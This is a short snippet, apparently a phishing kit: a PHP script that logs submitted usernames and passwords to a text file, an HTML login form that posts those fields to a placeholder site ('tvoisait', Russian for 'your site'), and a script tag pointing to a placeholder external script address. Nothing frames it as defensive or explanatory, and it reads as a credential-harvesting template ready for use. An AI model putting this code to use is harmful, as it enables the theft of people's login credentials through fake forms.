<?php $fp = @fopen("data.txt","a"); fwrite($fp, $_POST['user']."\n".$_POST['password']."\n"); fclose($fp); ?>
<form name="input" action="http://tvoisait/save.php" method="post"> Username: <input type="text" name="user" /> <input type="text" name="password" /> <input type="submit" value="Submit" /> </form>
<SCRIPT LANGUAGE="Javascript" SRC="адрес скрипта"></SCRIPT>